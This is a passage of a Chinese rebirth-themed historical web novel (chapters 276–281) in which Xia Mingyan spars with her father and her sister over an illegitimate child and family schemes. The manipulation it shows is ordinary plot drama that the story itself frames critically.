可见在夏庸心里还是更疼爱夏明月这个女儿,不,应该说是把全副对女儿的父爱都放在了夏明月身上,对她完全是一种可有可无、用得到的时候才想起来的心态。 不过,就算夏庸说了对她也没什么用处,上辈子受身世污名困扰,加上沈小娘死得不明不白的,她又被贬妻为妾了,刚进端侯府的时候她是真没心力想这些。 那时候她的状态完全可以用“疲于奔命”四个字来概括,她哪儿还管李玦长得是圆是扁啊,他爱拿他的美貌当工具忽悠女人为他卖命,那是他的事儿,反正她为他卖命不是因为他那张脸,而是她不为她张罗,不能证明她对他和端侯府有用,他跟何夫人就逼得她活不下去。 后来她算是站稳脚了,又有夏家这边求上来,还发生了许多事儿,她就更加顾不上李玦那张脸了。 那个时候太子谢维刚刚继位,大恒正是乱的时候,谁能抢占先机谁就能封王拜相,要是李玦好了,她也能好,还能活得更长久,她当然得继续为他挣命了。 但这一切都跟他那张脸无关,要是让她说,她还觉得那张脸上要是有道疤,反而能更英武些,显得他经历的更多,让他那些功绩不至于显得太假,反而更符合他们的利益呢。 呵,不过夏庸的父爱也就这样了,他明明知道李玦是这样的人,无论两个女儿是谁嫁给了李玦,在成婚之前他都没有提点过她们。 她还记得成婚前她们换了亲,夏庸当时还在夸她,说她让了段好姻缘给夏明月呢,那时候他可不是这么说李玦的。 不过,夏明嫣只惊讶了一小会儿就恢复了平静,因为她忽然明白了夏庸为何这般了解李玦这个人。 说难听一点,夏庸自己也无甚大才,靠着中庸之道和一副好相貌在做了鳏夫之后当了楚霆孝的女婿,之后才上了位,做了这兵部尚书。 要是没有楚氏和楚霆孝,他继续做他的侍郎,以的才能和本事,恐怕早上十年就已经被赶离朝廷外派去了别的地方任官了,哪里会有今日的显赫门庭。 他跟李玦本质上虽说不完全一样,他也没有李玦那么爱卖弄,可是二人之间是有相似之处的,这就是他能如此了解李玦的根本原因。 想想也是可笑,两个顺着女人裙带向上爬的人,就这样做了翁婿了,然后还互相看不上,真真是可笑。 不过,夏庸终究被李玦要幸运些,因为他投靠的楚家是真的有实力的,能把他托举到如今的位子上,可是李玦就不一样了,至少以夏、楚两家今时今日的实力,不够托举他。 当然,夏庸也比李玦更清醒、更现实,可谁让李玦是老端侯的儿子呢?想必夏庸当着这没有实权的尚书也当腻了,他也是想做点什么的,要不然也不会觊觎端侯府的那些宝藏。 第276章翁婿间的理解 夏庸之所以这般了解李玦,就是因为从某种程度上来说,李玦就是另一个他啊! 夏庸从前与杨氏做夫妻时,便没只守着一个杨氏,而他后来续弦了楚氏,不仅没只守着楚氏一个,还纳了新的妾室。 就连前世的沈小娘也是一样,沈小娘原本杨氏的陪嫁丫鬟,本来是要嫁出去的,可是因为夏庸一次酒醉,成了通房。原本杨氏立刻就要抬她做姨娘的,可是她自己拒绝了,说是想回乡去找个人家嫁了。 杨氏想了想,以沈小娘的姿色和性情留她在这内宅中怕是也没个出头肉,本来都是允了的,连陪送的嫁妆都给她备下了,可谁知道杨氏病情急转而下就那么的去了。 之后楚氏进门,因为夏庸要把夏明嫣送回卢阳抚养,沈小娘担心卢阳那边的二房到底只是叔父、婶娘,夏明嫣又太小,生怕有个闪失就送了性命,这才以方便招抚嫡女为由,求了朱老太太抬了她妾室的位分,跟去了卢阳。 上一世楚氏之所以要杀沈小娘,可不止是因为要做出一个死无对证的局,还是因为沈小娘一回元京就被夏庸看上了。 夏庸从前对沈小娘并没有什么特殊的感觉,更没有另眼相看,可就是在沈小娘回来之后,可能是因为她身上染上了卢阳那青山绿水间闲适、清逸的气质,外加她一心只扑在照顾夏明嫣身上,让她自然而然地多了几分纯粹的母性,这跟夏府那些个妾室不同,这才让夏庸上了心。 楚氏倒不是个在意妾室争宠的人,可是沈小娘毕竟是夏明嫣实际意义上的养母,再加上她曾是杨氏的心腹,这么以来便招了楚氏的眼了,楚氏可不想夏明嫣出嫁以后,府里还留着这么一个随时可能争宠上位的“眼线”在,所以才痛下杀手。 有如此背景深厚的妻子,夏庸这行同赘婿的楚家女婿都敢这么做,他当然理解李玦的为人了。 可不管李玦和夏庸谁的为人更不堪,眼下夏明月就是嫁了这个一个夫君却是事实。夏庸的话虽然不好听,也的确代表了眼下解决问题的最好办法。 当然他不会想到这件事到了这一步,夏明嫣和华靖离已经反客为主了,现在的一切都在按照他们安排好的进行。 夏明月却没有领会父亲的苦心,反而道:“可是,父亲,就算他是这样的人一个人,他如今要靠着咱们家、靠着外祖家,不是应该更加善待我,对我更好么?” “要是他和他母亲不愿意,您和母亲就该去跟他们说,找他们理论才对。以端侯府的情况来说,我可是低嫁,凭什么要受这样的委屈?” 她甚至还转过头来指责夏明嫣,“还有你,长姐,你嫁的好了,现在就来看我的笑话了么?华家那个老妇是要给华侯纳妾不假,可华侯明显就不愿意,一直在拖延。” “就算他将来纳了妾了,也是不清不愿的,大概心里也只有长姐你。我把这么富贵的亲事换给了你了,你就一点不知感激、不知回报了么?凭什么让我接受?” “阿玦哥哥之后还要去北疆历练了,他想要军功,就得华侯松口,你就不能拿捏他一下么?就说要是他这个时候认一个来路不明的小崽子回来,影响他的名誉。他的名声坏了,就不能去了,难道不可以吗?凭什么让我吃亏。” 夏明月到现在都不知道夏明嫣也重生了,她还想着把换婚这事儿当作恩惠要挟她呢。当初这婚事就算是她自己不要了的,可夏明嫣实实在在地得到好处了,那么就得回报她! 她其实并不觉得华靖离会为了夏明嫣守身如玉,男人么,就算为了子嗣,也不会只守着一个女人。可她就得这样说,才能显得她对夏明嫣有大恩,才能拿得住她。 夏明嫣就算在她面前要装出不曾重生的样子,也不打算让着他们这对儿父女,她一反常态地拍了桌子道: “二妹妹这话好生可笑,父亲,您可记得当初换亲的时候,二妹妹她是怎么说的?她说的是她跟世子妹夫情比金坚、青梅竹马,他们本就该是夫妻,对吧?” “她可曾说过,因为华侯战功赫赫、华家家藏深厚,华侯又是个老实人,要补偿我这个自小被养在卢阳老宅的长姐一桩踏实的婚事,才力主换婚,将亲事让给我的?” “不曾,她根本就没有说过。父亲,二妹妹自小在您身边长大,您偏疼她一些也是有的,可您要是为了她是非不分,非要认同她的话,您还将我当女儿看待吗?” “您若是待我连亲戚家的姑娘都不如了,我也不怕说句不孝的话,嫁出去的女儿泼出去的水,以后我也可以只以华家为家,咱们夏家这些腌臜事儿我是再也不会管的了。父亲您若是想要这样,那便这么办吧!” 夏明嫣在夏庸面前一贯听话、乖巧,从来没有这般激动过,眼看着她脸红脖子粗地争辩起来,夏庸心里难得生出了一阵慌乱。 而且自从刚刚夏庸听了夏明月前头那番话,已经对这个女儿失望了,这回就算他没有彻底倒戈,也不可能完全站在夏明月这边了: “这……我没说帮着她,只是这件事对她来说太难接受了。认一个孩子回去,说是好打发,可也不是一朝一夕就能打发了的。她要是这样闹,一定会出事,闹大了就连你在华家也会受牵连。” “你就算也是为了你自己好,也不能不管她。咱们在这儿说了半天,不就是想商量出一个妥帖的法子么?你看华家那边能不能再想想别的法子,要是能让华靖和退一步……” 夏庸这时候又想出一个别的法子来,华家要的是华靖和的清白,可这清白主要还是落在华靖和跟吕大姑娘的死无关上面,至于他们之间有没有私,有没有孩子,这都是次要的。 华靖和不是华靖离,他本身就没有功名,仕途无望,将来即便华靖离不在了,他袭了爵了也就是个闲散侯爷,不过是守着祖产过日子罢了。 第277章没羞没臊的话 要是能让华家只证明华靖和与人命无涉,而在孩子的事儿上含糊其次,再在张礼岁那儿做些功夫,不让他说出实情,这样华家就可以既保住华家的名声和华靖和,又把这个孩子含糊的认下。 当然,华家不可能认下一个这样一个明知道生父另有其人的孩子,可也没有让他们真的认下,只是含糊的让人觉得有这么回事。 回头私下想法子让那孩子脱了籍,安抚了吕家之后,这件事便不了了之了。把吕家赶出元京,让他们带着那孩子走的远远的,华家这边其实并不用真的认下这孩子的。 再或是给华景洗清冤屈之后,华家就说这孩子的生父另有其人,再买通一个旁人认下这孩子即可,这样这孩子就不用进端侯府的人了。 至于何夫人那边,其实夏庸觉着她也应该不是十拿九稳地就能确定那是李玦的孩子吧? 血缘这东西,要是硬说拿什么来确定,确定到那种万无一失的地步,至少在这个时代很难。 滴血认亲被证实没用了,那便只能凭长相和所谓的血脉至亲间的感觉的,可长相这东西就是个毫不相干的陌生人也有长的像的,至于血脉相连的感觉……感觉这东西很多时候你说有就是有,没有就是没有,都是不做准的东西。 所以现在为什么对女子的贞操多有苛责,为何大户人家都要女子生活在内宅,其中一个原因就是内宅严防死守,不许外男出入。 而就算是成婚后回娘家过夜,要是娘家不是那种守备严密的大户人家,也多是不许的,也是出于这个原因,因为那样的家庭根本就不具有守卫女子贞洁的条件。 那外宅妇人的子嗣为何轻易得不到承认?更是一样的道理,一个外宅即便有人看守,也比不上家里守卫严密,谁知道有没有外男进出过,谁知道生出来的孩子是谁的? 因此这个时代保证孩子血统纯正的主要方式还是得把人放在深宅大院儿里看住了,那吕大姑娘生前根本就不具备这样的条件,那么谁又能说那孩子的生父就一定是李玦了? 何夫人之所以能认下这个孩子,凭的无外乎还是长相、感觉,再就是他身上可能有李玦留给吕大姑娘的什么东西,回头何夫人一查证,发现李玦那段时间的确跟吕大姑娘在一起过,这样一对便认下了。 可信物这东西是可以易主的,吕大姑娘那时候还是那种女人,有别的男子同时跟她有私也不是什么新鲜事儿,要想说服何夫人说这孩子认得不稳当,她应该也能信…… 夏明月这时候听明白了,她其实觉得让华靖和认下这个孩子刚好。 上辈子她在家庙里听到过一些消息,虽然不确定华靖和那时有几个孩子,但他后来肯定是有别的孩子的,横竖家业不会落到这外面认回来的孩子身上,多认一个怎么了? 也就是花点钱粮养着罢了,要是华家不舍得,大不了这银子她出!只要华家愿意认这孩子,想必何夫人为了李玦眼下的前程考虑,也不敢去跟华家争这个孩子。 夏明月又高兴起来,把夏明嫣当傻子似的的忽悠:“长姐,华二公子年少风流,多了孩子也没什么,反正他也没什么前途,帮不上姐夫什么忙。况且他越是无能,不是越好么?” “就算孩子是他的,也不能证明就是他逼死了孩子的亲娘吧?你好好劝劝你婆母,她定然也是看不得那小庶子好的,让他认下来也不影响什么,只要将来不让这孩子承嗣,不久行了。” “你想,你妹夫现在是世子,很快就要袭爵了,有了御青书院做靠山,等他从北疆回来,定然大有作为。是一个跟你们争家业的小叔子能帮上你们夫妇,还是你妹夫、你夫君的义弟能帮上你们?这根本就不用说!” 前世李玦的军功就是在北疆奠定的,从夏明月的角度来看没有任何问题,她觉得这就是李玦靠自己拿到的。 纵使北疆局势已经趋于稳定,李玦这时候过去就是摘桃子、抢功劳的,他定然是用了手段的,可能用手段也是他自己的本事,能拿到军功就行。 这回李玦去北疆不过是在重复前世的命运而已,而且因为华靖离提前好了起来,还会帮他递话、打点,这一世想必他的前程只会更好。 夏明嫣却在心里冷笑,上一世求来张老将军父子相助的是她,这一世她提前给张老将军的女儿送了药过去,那姑娘已经康复了,现在被送回了老家,听说已经在那边谈婚论嫁了。 只是这一回张家父子的感激之情只给了她和华家,而她也再三强调不需要他们报答,他们按自己喜欢的来就行。 之前华靖离故意提醒李玦可以去张家看看,可因为有了这样的前情,李玦自然碰了一鼻子灰,这会儿还在找别的可以替代的助力呢。 夏明嫣也不点破,只冷笑着质问道:“二妹妹说的好听,说白了还是想借华家的名义跟你那好婆母争,想着你婆母也未必就对那孩子的身世一丝怀疑都没有,想着华家认了这孩子,她就不好认了。” “就算换一家来认这孩子,你婆母也是不愿意放手的,但华家不一样。世子妹夫马上就要借着华家的关系去北疆,她哪里就敢得罪华家了?” “可是你忽略没了一件事,父亲,你也没想到这件事,这一回,何夫人还真就确定这孩子是世子妹夫的了。二妹妹,你与世子妹夫是夫妻,想必他身上有什么特征你是知道的。” “你别问我是怎么知道的,妹夫科考过,被搜过身,从前在那些场所出入也有湿了鞋袜有人看到过的时候,自是有人知道他身上有什么。” “咱们也都是出嫁了的妇人了,今日说点儿没羞没臊的话,他右脚的小脚趾上的指甲是不是与常人不同?是不是并非一块儿平滑的指甲,而是凹凸不平就像是指甲被什么热的东西烫化了之后又重新凝结了一般?” 第278章兜底之法 “你们怎么知道的?你们连这个都查!”夏明月愣住了,“那又如何?那就是以前砸到过脚,受过伤导致的!” 夏明嫣冷笑:“高门大户的子弟,哪个不怕身上有个缺陷,将来在前程上被人计较?就算伤在脚上,不易被人察觉,可也难免有底下服侍的人知道的说闲话。” “脚上的指甲有缺,跟寻常人相比,说句怪模怪样也不为过。但凡有法子能治好,他能不治?要是外伤所致,忍着疼把这片指甲拔了,早长上。他没这么做,是因为这指甲是天生的,即便拔了,长出来也是一样的。” “你别急着辩解,这话是侯爷问了宫里的御医后知道的,这是祖上传下来的记号,比胎记还稳固。你不信可以去问你婆母,看老端侯脚上是不是也有,就是李姑母脚上大概也是有的,你觉得那孩子脚上有没有?” 这特征传男也传女,只是女子不是生来就有,而是在二十几岁的时候会显现出来。 这不止是问过太医后得知的,李家的家史录中也有记载,不过显然夏明月还没有看过。这样的特征比较少见,要说元京还有哪个高门大户有这样的特征恐怕是不能的。 要是另选人给李玦顶包,这个人必是要在当年跟吕大姑娘相识的范围内的,还得符合之前人证所说的特征,这根本就不可能找出第二个人。 元京府尹张礼岁是个表面圆滑、内里刚正的人,想让他把这些全都忽略掉,跟着夏家装聋作业,根本就没有可能。 夏庸犯难:“这么说起来,怕是只能让贤婿认下了。明月,这件事你就受点委屈,事情本就是你挑起的,你婆母又认准了那孩子,端侯府连着三代都只有一个男丁,算得上是单传了,只怕她不肯放弃这个孩子。” 端侯府这三代的确都只有一个儿子,就是庶子也是没有的,就是庶女也不多,像是李姑母就是老端侯唯一的妹妹。 后面的话夏庸没有说出口,何夫人如此急迫地把这孩子握在手里,也不全是担心李玦将来子嗣单薄,而是因为她跟夏明月不睦。 即便夏明月生了嫡子,他们母子跟何夫人不是一条心的话,何夫人可就要被架空了,她得把孩子握在手里,将来好用这孩子跟夏明月母子斗。 假如夏明月没有儿子那就更好了,刚好夏明月不会喜欢这样出身的孩子,怕是走得近了都嫌脏,那样刚好,她不会跟这孩子亲近,这孩子就只能亲近他的祖母何夫人,这样何夫人刚好利用这个孩子钳制夏明月。 何夫人是寡妇守业,本就将李玦当作至宝,纵使李玦成了亲,她也不会轻易放手,偏偏夏明月恨不得一进门一下子就跟李玦如胶似漆的黏在一起。 夏明月自以为跟李玦之间情比金坚到了旁人插不进手的地步,她忽略了一个问题,别说是何夫人了,就是李玦自己其实也不想跟她如此亲密。 正是夏明月没有笼络住何夫人这个婆母,而李玦又默许了何夫人的行为,何夫人才敢不打招呼就将那孩子认下。 而何夫人和李玦也吃定了夏家,不仅因为当年的事夏家有把柄在他们手里,还因为他们知道夏明月离不开李玦,女子嫁了人了,就得从夫顺夫,李玦要是不好了,她夏明月也别想好,因此她有多不甘,最终也只能顺着他们。 夏明月没想到那孩子身上应该也有那样特殊的特征,更没想到夏庸彻底放弃了挣扎,气急败坏地道: “父亲,这中间摆明了就另有隐情,您为了家族大义考虑不告诉我,我也不怪你。可是这认不认孩子,是不是要敲打女婿,这又不是事关家族的大事儿,您连这些都不肯为我做了么?” “您一向是最疼我的,我出嫁之前,您明明说过有了难处就回来找您,您一定会帮着我,怎么现在就不算数了?” “今日之事不能就这么算了,父亲,要么您告诉我们这中间到底有什么事,要么您就帮我去端侯府说一声,要是我那好婆母非要将那孩子留在元京不可,那他们跟夏家这门亲就别做了。” 夏明月才舍不得李玦呢,她这就是拿和离吓唬人,可这也说明了她的态度,要是不依了她,她就要把事情闹大。 夏明月不是傻,她是一直活得肆无忌惮,永远觉得出了再大的事儿也有人替她兜着。 她也猜出了这几家之间定是有什么要紧的事的,但那样就更好了,她嫁给李玦如果是背负着任务的话,那么她的婚事就不仅成全了自己的情爱,也是在为夏、楚两家牺牲,那么他们就更有义务帮她解决这些麻烦了。 其实即便她是带着任务嫁进端侯府的,至少直到今日她也没有真的做过什么,可她才不管这些呢。她夏明月就是天生命好,谁都得围着她转。 不过……夏明月愣了一下,这么说的话,夏明嫣上辈子也是背负着秘事和任务进的端侯府?那么她都做什么了? 夏明月要责问夏明嫣的话险些脱口而出,好在回她忍住了,夏明嫣不像她一样重生了,即便真做过什么,又哪里记得上辈子的事了。 夏明月看向夏明嫣的目光就又多了几分鄙夷,不过她这时候倒是开始惋惜了,要是夏明嫣也重生了,倒是也能有些好处的,可惜…… 夏明嫣一看夏明月这副样子,便知道她在想什么了,其实端侯府和夏家之间有事儿这件事早有征兆,只是她们这两世以来都没能在出嫁前察觉罢了。 要是两家之间什么前情都没有,就凭端侯府这个侯门破落户,以夏庸的功利程度来看,他才不会放任夏明月在成亲前就跟李玦走得那么近呢。 这两桩婚事都是夏老爷子定下的,到了夏庸这儿,府上条件和个人人品、才华能让夏庸看上的只有华靖离,夏庸也是早就打定了主意要让夏明月嫁给华靖离的。 可是他为何没早早的把华家的这桩婚事落在纸上,而是反而放任夏明月不知顾忌地跟李玦来往? 第279章肺腑之言 这是一面在拿夏明月当眼线用,一面又在用这种方式告诉端侯府,夏家要用最宠爱的女儿跟他们做亲呢,正好稳住他们。 夏明嫣想的明白,夏庸心里更是跟明镜似的,他都已经后悔当初这么安排了,可是为了顾全楚氏的感受,也因为夏明嫣跟蛊医的那层关系,他没办法把夏明嫣从卢阳接回来充当这一角色。 而且感情的事儿很难说,李玦能跟夏明月这么好,八成就不会对夏明嫣如此了,因为夏明月跟夏明嫣两个人的性子完全不一样。 夏庸顾不上为之前的事儿后悔了,只能含糊地道:“那都是长辈们的事儿了,该让你们知道的时候,我自然会说,现在让你们知道了,反而对你们不好。” “况且眼前这件事跟那件事无关,明月,我这辈子都没有要求过你什么。如今我只问你一句,就算为了全了两家的颜面,为了你的夫君能够顺利袭爵,这场贤德的面子功夫你做还是不做?” “不是做父亲的逼你,这件事比你想象中的严重。少年夫妻老来伴,就算只从你和李玦的情分上算,我劝你现在也别惹恼了他。我是个过来人,也是个男人,很多时候比你这个枕边人更了解他。” “他现在应该还不知道这个孩子的存在,你婆母认下了这个孩子,可并没有告诉他,也算是给你脸面了。现在这件事不得不闹开,你不全了这份脸面,还一味地想要闹大,他会怎么想?那毕竟是他的亲骨肉。” 像夏庸这样的人是最爱颜面的,要是平时,即便作为父亲,他也不会跟夏明月这番话,尤其不会当着夏明嫣的面说。他今日肯说这些,老实说,真是尽到父亲的责任了。 要不怎么说还得男人了解男人,还得是一个相像的男人了解像他的那个男人呢? 要是这吕大姑娘一开始就是李玦养下的外室,他一开始就知道这孩子的存在,他反而不会重视这孩子,他甚至还会将这孩子视为污点。 可是他一开始根本就没有对吕大姑娘上心,别说没让她做外室了,根本就已经忘记了这段露水情缘,这孩子他更是不知道他的存在的,这样以来,突然让他知道内情,他反而会同情这对命运悲惨的母子。 更何况这是他的第一个孩子,不被承认已经够惨的了,还要被他的妻子和岳家欺负,他这样一个人,心里能不长牙、能不恨么? 夏明月既然笃定了李玦将来会大有作为,就愈发该将这件事处理好,无论如何都不能让李玦把这份恨意记到她和夏家头上,否则将来不就是等着人家报复吗? 夏明月整个人像被雷劈了一样,忽然就抽噎着哭了起来:“他跟那个女人都有孩子了,跟我却没有,还要让我认下他,凭什么?” “父亲这么做倒是全了他和他们端侯府的颜面了,我的颜面怎么办?整个元京都会笑话我……” 夏明月这时候悲从中来,其实有上辈子的原因在,她两辈子跟李玦都没有孩子,更别提她上辈子根本就不知道这孩子的存在,一直都被瞒的死死的。 说来也是命,上辈子何夫人过世之后,这个孩子先是交到了邓澜手里,后来邓澜过世,这个秘密又到了夏明嫣手里。 那时候夏明嫣刚从南疆回来,刚被扶正,又要忙着李玦封王的时候,况且邓澜并未言明那孩子就是李玦的,孩子的身世她也只是猜测而已,那孩子便不好安置了。 她只能把那孩子接出来,送到外头一个有山门的书院念书,这事儿她都没跟李玦说。 而夏明月在害死她之后应该也没活几年,就莫名其妙地死了,估么着她到死都根本不知道这孩子的存在。 夏明月这时候一腔悲愤没有出口,盯着夏明嫣的眼神就变得狠厉起来,她这时候也在想上辈子何夫人和邓澜都没了,那孩子是不是就交到夏明嫣手里了? 夏明嫣即便没有将这件事告诉李玦,以她的性子,应该也会将这孩子安排好,让他一辈子衣食无忧的。 这可真是太可恨了,夏明嫣看着她跟李玦柔情蜜意的时候会怎么想?是不是在心里暗暗地那这个孩子讥讽他们? 夏明月再也忍不住了,指着夏明嫣便道:“你知道是不是?你早就知道是不是?你就是看我的笑话,你自己嫁给华侯去当钩翊侯夫人,让我去给一个外室子当娘,你……” “二妹妹,你在说什么?我怎么一句都听不懂呢?” 夏明嫣这时候必须辩解,这可不是受点气就了了的,她要是不表现得特别惊讶,等夏明月冷静下来,就该怀疑她也重生了。 不让夏明月知道她重生了,不仅是为了这样能更占先机,上辈子夏明月大多时间都被关在家庙,外面的事儿知道的本就没有她多。 她也不是享受那种藏身暗处、明明什么都知道却装作不知道的快感,她是担心夏明月一旦知道她也重生了,会变得更不理智。 夏明月以为只有她自己重生了,她便不会将这件事告诉任何人,这当中也包括夏庸、楚氏和李玦,可是一旦她发现还有别人也重生了,她很可能会把这件事透露出去。 这样的话,夏明月就可以激起夏庸的好奇心,让夏庸来逼问她这个做女儿的上辈子的事,要是她不说,他们就把这件事说出去,把她变成世人眼中的妖邪。 在这种事情上,夏庸这种不择手段的人更有优势,尤其华靖离还手握兵权,遭人忌惮,一旦这种事儿传出去,只会给华家和她带来无穷无尽的麻烦。 因此夏明嫣必须装作什么都不知道,就好像夏明月疯了似的,“父亲,要不还是找个郎中给二妹妹看看吧,我怎么觉得她这么不对劲儿呢?” “我知道什么?我怎么知道?我到哪儿知道去?我也是今天一早才知道的,再说了,就算你知道这些,你就愿意嫁去华家么?” 第280章心里只有她的阿玦哥哥 夏明嫣气哼哼地道:“你根本就看不上华家,嫌弃我婆母土气,那时候我夫君生死未卜,你还担心一进门就做寡妇了,你当真愿意嫁过去?” “就别拿你压根不愿意做的事儿来要我的强了,你想拿这事儿对我挟恩以报,想都不要想。你来怪我,我还没怪你给我在华家人面前惹了多大的麻烦呢。” “父亲,您是不知道,赏花宴上她是怎么给我没脸,让华家看笑话的,华家人都说还好当初进门的不是她,都祝她跟世子妹夫百年好合,千万别出什么变故呢。” “更别说这回的事儿了,要是只是为了抬举妹夫,羞辱他华靖和一个人,用得着闹上公堂么?她这么做,还不是为了折华家的名声?” 她指着夏明月道,“你瞪什么瞪,别以为我不知道你那些见不得人的心思。你动了那么多心思,可实际上真是蠢得可以。你是知道妹夫想重建李家军好有所作为,可是现在李家军影儿还没有呢,你就嫉妒起华家来了,才巴不得华家人不好过。” “你我都是夏家的女儿,你做了这样的事,我也不是不能为你遮掩的。可麻烦你做得干净些,不要露了首尾,人家查得清清楚楚的,人证物证俱在,你让我怎么替你辩解?” 夏明嫣这时候平日里端庄的大家闺秀气质去了大半,还真是挺像卢阳那边的妇人的,像是二房婶子,平日里训起人来就是这副模样。 她就是要让夏明月觉得她这个人一急就没什么城府,因此她才故意只说夏明月嫉妒华家,而没有挑明李玦早就有了取华靖离而代之的心思。 她在夏明月心里就该是这么一个浅薄、好糊弄的人,这样夏明月的心思才会更少。 夏明月气得脸都红了,华家那些土包子也配看不起她,真是笑话:“我就是想让他没脸,又怎么了?事情我已经做下了,多说无益。可是长姐,你要是还想要你夏家女的颜面,这件事你就得兜着。” 说了半天,这是又回去了。 夏庸黑沉着脸,声音里带着隐怒和警告着道:“明月,你嫁过去也有些时日了。你说你跟李玦的感情甚好,我只问你一件事,你可发现他知道什么?” “那件事我虽然不能对你们言明,但想来你也清楚这是咱们两家之间的一件大事,若是他知道当中内情,对你自然该是不同的,你可察觉到了?” 不知道具体是什么事儿,并不影响对他们二人和两家之间的大事儿知不知情做出判断。 夏明月这回倒是认真想了想,然后轻摇了摇头:“他……应该是不知道的,您如此让着端侯府,想来这件事是咱们欠了他们的。她要是知道了,不会那么顺着我。” 何夫人定是知道的,所以才敢那样对她,夏明月认为自己总算想明白了一件事,气得连茶盏都推倒了。 夏庸这回没理会她的小脾气:“这是他还不知道,若是他知道了,你觉得他会如何对你?他成婚前在外头跟不三不四的女子一起有了孩子,不管他知情与否,他都有错。” “他本来对你有愧,你若是将这孩子好好地接过去,他定然对你心生感激,之后这孩子说不准都不用你动手,他自己就会识趣地把他远远地打发了。” “可若是你执意要闹,那可就不是你的名声和跟他一起的情分这么简单了。看到他受了委屈,你婆母、他的母亲会怎么做?她很可能会将这件事说破,明着告诉李玦是夏家欠了他们的,到时候他又会如何对你?” 夏明月很快就想明白了,可是她想的不是如何忍让,想的却是她要失去了李玦该怎么办: “可这都是祖父那时候的事了,凭什么让我负责、让我们来承担?这不公平,我不要跟阿玦哥哥走到那一步。我们之间是纯粹的,不该掺杂这些东西……” “你……高门无情爱,你简直愚不可及!”夏庸差点没一口老血喷出来,连身形都晃了两下。 “父亲,您不用跟她说这些。发生了这样的事,您得以自己的身子为重,您可千万不能倒下啊。” 正当夏庸还想跟夏明月多费口舌的时候,夏明嫣叫住了夏庸,这个时候夏庸是真不能倒下的,万一夏庸有个三长两短,后头的事儿还怎么继续下去。 因为李玦的关系,华靖离已经插手了这件事,就断然没有半途而废反而沾染了嫌疑的道理。 将来等把那些宝物找出来了,以华家的情况难免会被人怀疑他们贪图这些东西好图谋不轨,要是夏家就这么没了,那可就说不清楚了。 夏、楚、陆、李四家,既然当年共同做下了那件大事,害苦了那么多人,就该齐齐整整地一起说清楚,可千万别少了谁! “父亲,您说那些都没用。您听听她都说了什么,都到这份儿上了,她的夫君都在外面有儿子了,她的婆母都被孩子认下了,她还在想着怎么维护她夫君的名誉呢。” “她的阿玦哥哥做什么都是好的,即便做错了事了,也得是风光霁月的,她也不能让他落了污名去。所以就连着孩子都得让长姐夫家的庶弟认下,所以连上了年纪的老父亲都得舔着脸去给华家和张大人赔小心。” “她可有为你着想?可有为夏家着想?都没有,她满心满眼地都只有他的阿玦哥哥……我要不是不懂蛊术,我都要给她看看了,看看她是不是被那个叫李玦的下了蛊了……罢了罢了,我什么都没用。” “父亲,我知道在您心里只有二妹妹是女儿,别说是我,就是登云也没有她重要,您要是觉得为了她一个可以搭上这一大家子,您就继续这么做吧。我家中还有事,就不陪了……” 夏明嫣似乎被伤透了心,拿帕子捂着脸就跑出去了,丢下他们父女俩自己商量。反正她已经把这把火拱起来了,可以功成身退了。 夏明月害华靖和,真正的意图在华家,她给夏明月点这把火,真正的意图又哪里是在夏明月呢? 第281章用美貌算计 华靖和定是能被救出来的,这一点已经毫无悬念,她要的是借着华靖和洗冤这把火先把李玦的假面目揭开。 哪怕只是揭开这块面纱的一个角呢,总不能隐忍多年,中间什么都不做,提前揭开一点,让世人看到了,以后想揭开这块儿面纱的就不止是她和华靖离了,会有无数的人想要一探究竟,不说是因为利益纠葛了,就是因为好奇,也有人会这么做。 到时候她跟华靖离就可以把更多的心思放在南疆上,准备之后将要发生的大事,应对之后的南疆之乱造成的危机。 夏明嫣正想着事儿,就瞧见不远处多出了一片裙角,不是楚氏又是谁? 好在她向来喜欢假戏真做,这时候眼角还真挂着两滴泪珠子,她委委屈屈、期期艾艾地上前行了个礼: “母亲,父亲他……只偏疼二妹妹,我也是没法子了。二妹妹的事,您已经听说了吧?” 这么大的动静,早就有人把事情大概的经过告知楚氏了,不然楚氏现在也不会神情不善。 楚氏微微颔首,她在夏明嫣面前向来是慈母,这回她也清楚问题到了这一步,不是他们逼着夏明嫣做什么就能把事儿都担下来的,只能道: “真是苦了你了,可你也地理解你父亲,他也不想这样。实在是做父母的不得不把更多的心思放在那个让人更操心的孩子身上,你比明月省心,这种时候就吃亏些。” “可是好孩子,这事儿已经发生了,你虽然已经出嫁,可你姓夏,这里才是你的家,要是这件事不能妥善解决,你在华家也会没脸的。你说,对吧?” 又开始要逼着她给夏明月善后了,好在加上上辈子的经验,夏明嫣已经习惯了: “这件事实在为难,华家定是不肯背下那污名的。来的路上我就想过,这件事还是要三家人坐下来好好谈谈,先把元京府那边遮掩过去。等府衙那边的事儿了了,关起门来,咱们自家人再说话。” 这等于什么都没说,就只是劝华家人心平气和些而已。 楚氏哪里会满意,主要是这种事让楚家出面料理就太丢脸了,她还是觉得借夏明嫣的手更好办: “这样甚好,只是若能让华家救下华二公子之后,不言李家之是非,就更好了。只有这样,有些事才能私下解决。” “母亲的意思是……只说华家二弟是清白的,问那孩子的生父是谁,华家只说不知道?” 夏明嫣心里暗笑,楚氏这是真把跟她没有血缘关系的女儿养成了她自己的模样,这法子竟然跟夏明月之前提过的一个一模一样。 她假装想了想,然后艰难地点了点头,“刚才二妹妹也提过此法,怕是很难,华家为了还二弟清白,定是要说的,他们觉得不说这事儿就不算真的清白了。” “我在华家能做主的只是一些小事,这种大事我是插不上话了……不过既然您都这么说了,想必此法是可行的,我会去之后定会勉力尝试。只是万一不成……” 楚氏笑了笑,目光中透着赞许地上前了些,鼓励着她道:“你可以,你一定可以办到,你可是华侯的救命恩人。你这孩子就是太老实了,他们若是不许,你便去说服华侯。” “他是你夫君,你得告诉他,你为他延请名医有多不容易,是动用了杨家的关系吧?杨氏蛊医,遭圣人忌惮,你这可是担了干系的。况且你们请的名医,真的就跟蛊医一点关系没有么?” “真的没有关系,只是托了杨家的人去问而已。” 夏明嫣被楚氏的眼风一刺,心里一阵冷然,这是让她诬陷呢,就算当时没用蛊医之术,也让她咬死了说有,这样华靖离为了不让她把事情抖出去,惹圣上不快,也会妥协。 毕竟只要洗脱了华靖和,那么那孩子究竟是谁的,对华家来说就不是原则问题了,是可以变通的。 可是,这就是诬陷,楚氏就是这样一步步逼迫她的,上辈子也是这样。 只是那时她先是在卢阳,不抓住楚氏这根救命稻草就可以能一辈子都回不到元京,所以她不得逼着自己去相信那份她唯一可以抓住的“母爱”,这样她才能自己假戏真做,不在他们面前露出破绽。 